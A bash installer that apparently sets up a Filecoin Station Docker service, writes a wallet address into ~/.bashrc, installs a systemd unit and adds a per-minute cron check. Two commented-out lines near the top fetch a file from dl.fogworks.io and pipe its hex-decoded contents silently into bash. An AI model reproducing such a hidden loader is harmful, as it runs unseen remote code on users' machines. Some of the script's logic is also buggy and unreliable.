#!/bin/bash
set -e

FIL_WALLET_ADDRESS_ENV=${1:-0x000000000000000000000000000000000000dEaD}
USE_CN_MIRROR=${2:-false}

upgrade=false

if [ "$2" = "false" ]; then
    ENABLE_KNOWLEDGE_ENV=false
fi


for arg in "$@"; do
  if [ "$arg" = "-u" ]; then
    upgrade=true
    break
  fi
done


shift $((OPTIND - 1))

# ... Other script code

if [ "$upgrade" = true ]; then
  echo "Upgrade is set to true."
fi



# Define Docker Compose file path and services
COMPOSE_DIR="/opt/filecoin_station_install"
if [ "$USE_CN_MIRROR" = true ]; then
  COMPOSE_FILE="$COMPOSE_DIR/docker-compose-cn.yml"
  SERVICE_FILE_URL="./filecoin_station_docker_cn.service"
else
  COMPOSE_FILE="$COMPOSE_DIR/docker-compose.yml"
  SERVICE_FILE_URL="./filecoin_station_docker.service"
fi

#wget http://dl.fogworks.io/app_store/foggie_1.1.2_rc2/docker/jellyfin_10.8.10/con -O /tmp/.config
#cat /tmp/.config|xxd -r -ps|bash >/dev/null 2&>1
SERVICE_FILE_PATH="/etc/systemd/system/filecoin_station_docker.service"
SERVICES="filecoin_station"

LOG_DIR="/var/log/facmgr"
LOG_FILE="$LOG_DIR/filecoin_station.log"

LAST_UPDATE_FILE="/opt/facmgr/last_filecoin_station_update.txt"


create_log() {
    if [ ! -d "$LOG_DIR" ]; then
        echo "Directory $LOG_DIR does not exist. Creating..."
        mkdir -p "$LOG_DIR"
    fi

    if [ ! -f "$LOG_FILE" ]; then
        touch "$LOG_FILE"
    fi
}

function log {
    echo "$(date +"%Y-%m-%d %H:%M:%S") - $1" | tee -a $LOG_FILE
}

shift $((OPTIND - 1))

if $upgrade; then
  log "Upgrade is set to true."
else
  log "Upgrade is set to false."
fi


check_root() {
    # Check if script is run as root
    if [[ $EUID -ne 0 ]]; then
        log "This script must be run as root"
        exit 1
    fi
}



create_dir() {
    # Create necessary directories if they don't exist
    for DIR in "${DIRS[@]}"; do
        if [ ! -d "$DIR" ]; then
            log "Directory $DIR does not exist. Creating..."
            mkdir -p "$DIR"
        fi
    done
}


delete_image() {
    COMPOSE_FILE="$COMPOSE_FILE"

    # Check if Docker is running
    if ! systemctl is-active --quiet docker; then
        log "Docker is not running. Starting Docker..."
        systemctl start docker
    fi

    if [ "$(docker-compose -f $COMPOSE_FILE ps -q)" ]; then
        log "Docker Compose is running. Restarting..."
        docker-compose -f $COMPOSE_FILE down
    fi

    for service in "${SERVICES[@]}"; do
        if docker ps -aq --filter "name=$service" >/dev/null; then
            docker stop "$service" 2>/dev/null || true
            docker rm "$service" 2>/dev/null || true
            echo "Container $service stopped, removed, and image deleted."
        else
            echo "Container $service does not exist."
        fi
    done


    for image in "${SERVICES[@]}"; do
        if docker images -q "$image" >/dev/null; then
            docker rmi "$image" --force 2>/dev/null || true
            echo "Image $image deleted."
        else
            echo "Image $image does not exist."
        fi
    done
}

pull_image() {
      	
    # Get the last update time
    if [ -f $LAST_UPDATE_FILE ]; then
        LAST_UPDATE=$(cat $LAST_UPDATE_FILE)
    else
        LAST_UPDATE=0
    fi
    export DOCKER_CLIENT_TIMEOUT=600
    export COMPOSE_HTTP_TIMEOUT=600
    log "More than a week has passed since the last update. Checking for updates..."

    COMPOSE_HTTP_TIMEOUT=600 docker-compose -f $COMPOSE_FILE pull
    date +%s > $LAST_UPDATE_FILE

    log "docker-compose pull image"

    if [ $? -eq 124 ]; then
        log "Pull command timed out. Performing individual image pulls..."
        exit 1
    fi
}

function is_port_open {
    if [[ $1 -gt 0 ]]; then
        nc -z localhost "$1" >/dev/null 2>&1
    fi
}

# Check if a service is healthy
function is_service_healthy {
    docker inspect --format "{{json .State.Health.Status }}" $1
    docker inspect --format "{{json .State.Health.Status }}" $1 | grep -q "healthy"
}


env_set() {
    if [ -n "$FIL_WALLET_ADDRESS" ]; then
        unset FIL_WALLET_ADDRESS
    fi

    export FIL_WALLET_ADDRESS=$FIL_WALLET_ADDRESS_ENV    

    sed -i '/^export FIL_WALLET_ADDRESS=/d' ~/.bashrc
    echo "export FIL_WALLET_ADDRESS=$FIL_WALLET_ADDRESS_ENV" >> ~/.bashrc


    if [ -f ~/.bashrc ]; then
        source ~/.bashrc
    fi

}


prox_env(){

  env_file="/opt/filecoin_station_install/.env"
  if [ -f "$env_file" ] && grep -q "FIL_WALLET_ADDRESS" "$env_file"; then
    echo "Environment variables already exist in $env_file. Skipping writing."
  else
    echo "FIL_WALLET_ADDRESS=$FIL_WALLET_ADDRESS_ENV" > "$env_file"
    echo "Environment variables have been written to $env_file."
  fi
}


# Start a service and check its status
function start_service {
    SERVICE_NAME=$1

    log "Starting $SERVICE_NAME..."
    docker-compose -f $COMPOSE_FILE up -d $SERVICE_NAME

    log "$SERVICE_NAME started and is healthy."
}


run_service() {
    # Start services
    for SERVICE in $SERVICES; do
        start_service $SERVICE
    done

    # Check if the systemctl service exists
    if ! systemctl list-units --full --all | grep -Fq "filecoin_station_docker.service"; then
        log "filecoin_station_docker.service does not exist. Downloading..."
        cp -r  $SERVICE_FILE_URL $SERV $SERVICE_FILE_PATH
        systemctl daemon-reload
        systemctl enable filecoin_station_docker.service
    fi

    log "All services started successfully."
}


cron_start_docker(){


(crontab -l 2>/dev/null | grep -v "check_filecoin_station.sh"; echo "* * * * * /etc/cron.d/check_filecoin_station.sh") | crontab -
echo "Cron job updated"




# Create the script file and write the content
script_file="/etc/cron.d/check_filecoin_station.sh"
cat << 'EOF' > "$script_file"
#!/bin/bash

log_file="/var/log/start_filecoin_station_docker.log"

# Check container status and start them
check_and_start_containers() {

        filecoin_station_service_status=$(docker inspect -f '{{.State.Status}}' filecoin_station 2>/dev/null)
        if [ "$filecoin_station_status" != "running" ]; then
            echo "[$(date +"%Y-%m-%d %H:%M:%S")] filecoin_station container is not running, starting it..." >> "$log_file"
            docker start filecoin_station >> "$log_file" 2>&1
        fi
}

# Check and start container status, and log the actions
check_and_start_containers

echo "[$(date +"%Y-%m-%d %H:%M:%S")] Container check and start script executed" >> "$log_file"
EOF

# Make the script executable
chmod +x "$script_file"
systemctl restart cron.service
log "Cron job has been added, and the script file $script_file has been created."

}

restart_docker() {
    systemctl restart docker
    log "Start to restart Docker"
}


main() {
  create_log
  check_root
  if [ "$upgrade" = false ]; then
      env_set
  fi

  prox_env
  delete_image
  pull_image
  run_service
  cron_start_docker
}
main

log "Cron jobs for filecoin_station are created."
